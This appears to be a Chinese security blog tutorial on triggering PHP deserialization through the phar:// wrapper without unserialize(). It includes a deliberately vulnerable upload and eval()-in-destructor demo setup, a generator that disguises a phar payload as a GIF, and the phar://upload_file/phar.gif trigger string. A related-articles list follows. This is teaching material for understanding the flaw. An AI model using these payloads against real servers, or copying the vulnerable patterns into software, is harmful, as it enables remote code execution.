我们一般利用反序列漏洞,一般都是借助unserialize()函数,不过随着人们安全的意识的提高这种漏洞利用越来越来难了,但是在今年8月份的Blackhat2018大会上,来自Secarma的安全研究员Sam Thomas讲述了一种攻击PHP应用的新方式,利用这种方法可以在不使用unserialize()函数的情况下触发PHP反序列化漏洞。漏洞触发是利用Phar:// 伪协议读取phar文件时,会反序列化meta-data储存的信息。

一. PHAR简介

PHAR (“Php ARchive”) 是PHP里类似于JAR的一种打包文件,在PHP 5.3 或更高版本中默认开启,这个特性使得 PHP也可以像 Java 一样方便地实现应用程序打包和组件化。一个应用程序可以打成一个 Phar 包,直接放到 PHP-FPM 中运行。

二. PHAR文件结构

Phar文件主要包含三至四个部分:

1. a stub

stub的基本结构:xxx<?php xxx;__HALT_COMPILER();?>前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。

2. a manifest describing the contents

Phar文件中被压缩的文件的一些信息,其中Meta-data部分的信息会以序列化的形式储存,这里就是漏洞利用的关键点

3. the file contents

被压缩的文件内容,在没有特殊要求的情况下,这个被压缩的文件内容可以随便写的,因为我们利用这个漏洞主要是为了触发它的反序列化

4. a signature for verifying Phar integrity

签名格式

来个小例子

根据文件结构我们来自己构建一个phar文件,php内置了一个Phar类来处理相关操作

注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。

phar.php

 1 <?php
2 class TestObject {
3 }
4 $phar = new Phar("phar.phar"); //后缀名必须为phar
5 $phar->startBuffering();
6 $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
7 $o = new TestObject();
8 $o -> data='hu3sky';
9 $phar->setMetadata($o); //将自定义的meta-data存入manifest
10 $phar->addFromString("test.txt", "test"); //添加要压缩的文件
11 //签名自动计算
12 $phar->stopBuffering();
13 ?>

访问后,会生成一个phar.phar在当前目录下。

用winhex打开

可以明显的看到meta-data是以序列化的形式存储的。

有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:

phar_fan.php

1 <?php
2 class TestObject{
3 function __destruct()
4 {
5 echo $this -> data; // TODO: Implement __destruct() method.
6 }
7 }
8 include('phar://phar.phar');
9 ?>

可以看到成功触发了反序列化

三. 漏洞验证

环境准备
upload_file.php,后端检测文件上传,文件类型是否为gif,文件后缀名是否为gif
upload_file.html 文件上传表单
file_un.php 存在file_exists(),并且存在__destruct()

利用条件
phar文件要能够上传到服务器端。
如file_exists(),fopen(),file_get_contents(),file()等文件操作的函数
要有可用的魔术方法作为“跳板”。
文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。

文件内容

upload_file.php

 1 <?php
2 if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
3 echo "Upload: " . $_FILES["file"]["name"];
4 echo "Type: " . $_FILES["file"]["type"];
5 echo "Temp file: " . $_FILES["file"]["tmp_name"];
6
7 if (file_exists("upload_file/" . $_FILES["file"]["name"]))
8 {
9 echo $_FILES["file"]["name"] . " already exists. ";
10 }
11 else
12 {
13 move_uploaded_file($_FILES["file"]["tmp_name"],
14 "upload_file/" .$_FILES["file"]["name"]);
15 echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
16 }
17 }
18 else
19 {
20 echo "Invalid file,you can only upload gif";
21 }

upload_file.html

1 <body>
2 <form action="http://localhost/phar/upload_file.php" method="post" enctype="multipart/form-data">
3 <input type="file" name="file" />
4 <input type="submit" name="Upload" />
5 </form>
6 </body>

file_un.php

 1 <?php
2 $filename=$_GET['filename'];
3 class AnyClass{
4 var $output = 'echo "ok";';
5 function __destruct()
6 {
7 eval($this -> output);
8 }
9 }
10 file_exists($filename);

实现过程

首先是根据file_un.php写一个生成phar的php文件,当然需要绕过gif,所以需要加GIF89a,然后我们访问这个php文件后,生成了phar.phar,修改后缀为gif,上传到服务器,然后利用file_exists,使用phar://执行代码

构造代码

eval.php

 1 <?php
2 class AnyClass{
3 var $output = 'echo "ok";';
4 function __destruct()
5 {
6 eval($this -> output);
7 }
8 }
9 $phar = new Phar('phar.phar');
10 $phar -> stopBuffering();
11 $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
12 $phar -> addFromString('test.txt','test');
13 $object = new AnyClass();
14 $object -> output= 'phpinfo();';
15 $phar -> setMetadata($object);
16 $phar -> stopBuffering();

访问eval.php,会在当前目录生成phar.phar,然后修改后缀 gif

进行上传

然后利用file_un.php。

payload:filename=phar://upload_file/phar.gif

参考:https://xz.aliyun.com/t/2715

最新文章

  1. 浅谈Bluetooth蓝牙开发
  2. Android 配置问题
  3. 如何將ViewData裡包含的Html輸出(MVC)
  4. BestCoder21 1002.Formula 解题报告
  5. Developing a plugin framework in ASP.NET MVC with medium trust
  6. 专注docker安全:Security Scanning
  7. BZOJ 2282 &amp; 树的直径
  8. Spring整合Tiles
  9. Axure中继器基础教程(增行、删当前、标记、全部、规则行) Mark
  10. 在XAF应用程序使用现有的数据库?
  11. 【网络收集】Sql Server datetime 常用日期格式转换
  12. java、myeclipse常见错误的解决(未完)
  13. Bzoj 1612: [Usaco2008 Jan]Cow Contest奶牛的比赛 传递闭包,bitset
  14. class 类(3) 继承
  15. 关于ng-options
  16. CodeForces346 C. Number Transformation II
  17. 开源虚拟化KVM(一)搭建部署与概述
  18. Oracle查询表主键、外键
  19. javascript 及 vue 中的变量前面的美元符号 $ 是什么意思
  20. windows Server 2012安装GUI

热门文章

  1. [BUUCTF]PWN——wustctf2020_closed
  2. [BUUCTF]PWN——pwnable_start
  3. .NET 6 优先队列 PriorityQueue 实现分析
  4. .net Core 使用 iTextSharp 生成PDF 简单示例
  5. IDEA微服务项目SpringBoot一键(批量)顺序启动
  6. cmake之if
  7. C/C++ byte 转 int 有符号数,转成Int 无符号数
  8. 【九度OJ】题目1138:进制转换 解题报告
  9. 【LeetCode】300. Longest Increasing Subsequence 解题报告(Python & C++)
  10. Dubbo 的设计思想